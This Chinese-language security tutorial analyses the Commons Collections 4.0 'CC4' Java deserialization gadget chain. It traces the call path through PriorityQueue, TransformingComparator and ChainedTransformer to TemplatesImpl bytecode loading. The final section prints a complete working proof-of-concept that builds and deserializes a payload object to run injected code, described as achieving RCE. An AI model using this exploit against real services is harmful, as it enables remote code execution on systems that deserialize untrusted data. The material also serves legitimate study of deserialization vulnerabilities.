0 背景
白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)
实验环境
Java:1.8.0_65
IDEA:2022
commons-collecetions:4.0
CommonsCollections4 除 4.0 其他版本的 InvokerTransformer和InstantiateTransformer没有实现 Serializable,导致该方法无法序列化。此外, CommonsCollections 4的版本 TransformingComparator 实现了 Serializable接口,但CommonsCollections 3里是没有实现。
1 CC4
这里的重点还是在前半条链上。
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.sift()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
1.1 调用链分析
这里注意别用错类,用了CC3的。
1.1.1 TransformingComparator.compare(obj1, obj2)调用了ChainedTransformer.transform(obj)
TransformingComparator在4版本中实现Serializable接口,所以可以序列化。从这里看需要需要满足的条件为:TransformingComparator.transformer = ChainedTransformer实例。
这里obj1和obj2有什么用呢?其实通过在这里传递参数,可以使得ChainedTransformer变成InvokerTransformer或InstantiateTransformer等,这里就是将Transform[] 变成 Transform,这里的作用其实是在shiro反序列化中体现。
能不能将将Transform[] 变成 Transform取决与参数在传递的过程中是否连续,像CC1、CC3、CC6就不行。
1.1.2 PriorityQueue.siftDownUsingComparator(int k, E x)调用了TransformingComparator.compare(obj1, obj2)
PriorityQueue实现Serializable接口。需要满足:PriorityQueue.comparator = TransformingComparator.
并且如果泛型参数x会传进 obj1,也就是参数在这一步还连续。
1.1.3 PriorityQueue.siftDown(int k, E x)调用了PriorityQueue.siftDownUsingComparator(int k, E x)
需要满足:PriorityQueue.comparator != null。
其实满足1.1.2的条件这里也能满足。 此外,传入参数还可连续。
1.1.4 PriorityQueue.heapify()调用了PriorityQueue.siftDown(int k, E x)
要想反序列化链条成功需要满足条件: (PriorityQueue.size >>> 1) - 1 >=0
也就是: PriorityQueue.size/2 -1 >=0
即:PriorityQueue.size >= 2,PriorityQueue的序列长度要大于2。
如果想要传入参数还连续的话,需要满足控制 queue[PriorityQueue.size/2 -1]。
1.1.5 PriorityQueue.readObject()调用了PriorityQueue.heapify()
这里需要size不小于0,和1.1.4的size>=0一致的。
1.2 POC编写
1.2.1 把ChainedTransformer放入TransformingComparator中
需满足条件TransformingComparator.transformer = ChainedTransformer实例。看TransformingComparator的构造方法,用第一个就可。
1.2.2 把TransformingComparator放入PriorityQueue中
需要满足条件:PriorityQueue.comparator = TransformingComparator && PriorityQueue.size >= 2
发现PriorityQueue的构造函数可以直接给comparator赋值,如果不能直接赋值,需要反射,或者利用提供的其他方法赋值。
size的值没办法直接通过构造方法赋值,但可以通过add(e)方法。或者反射修改。PS:在1.1.4中说到想要传入参数连续,那就要控制queue的值,add(e)方法调用时,就会直接调用offer(e),改变size的同时,也给queue赋值,但这里先随便给queue赋值。
public boolean add(E e) {
return offer(e);
}
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
代码如下:
1.2.3 序列化
条件已满足,所以可以序列化前就弹窗,并且InstantiateTransformer执行transform会报错。
修改也很简单,和之前CC6一样,先给个别的transformers,add后反射就该为调用链的transformers。
修改后,反序列化成功弹窗,虽然报错,但已经rce。
1.2.4 最终POC
package CCTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
byte[] evil = Files.readAllBytes(Paths.get("CC3Calc.class"));
byte[][] codes = {evil};
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c2 = transformingComparator.getClass();
Field trans = c2.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);
// serialize(priorityQueue);
unserilize("cc4-1.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4-1.bin"));
oos.writeObject(obj);
}
public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
1.3 CC2--- 另一种形式的CC4
综合上述的分析,参数在传递过程中是没有中断的。两种CC3的形式,分别可以只用一个InvokerTransformer或TransformingComparator就完成。
2. 总结
最近比较忙,CC5和CC7先不写了,写一篇大半天。
引用我老学长John的图。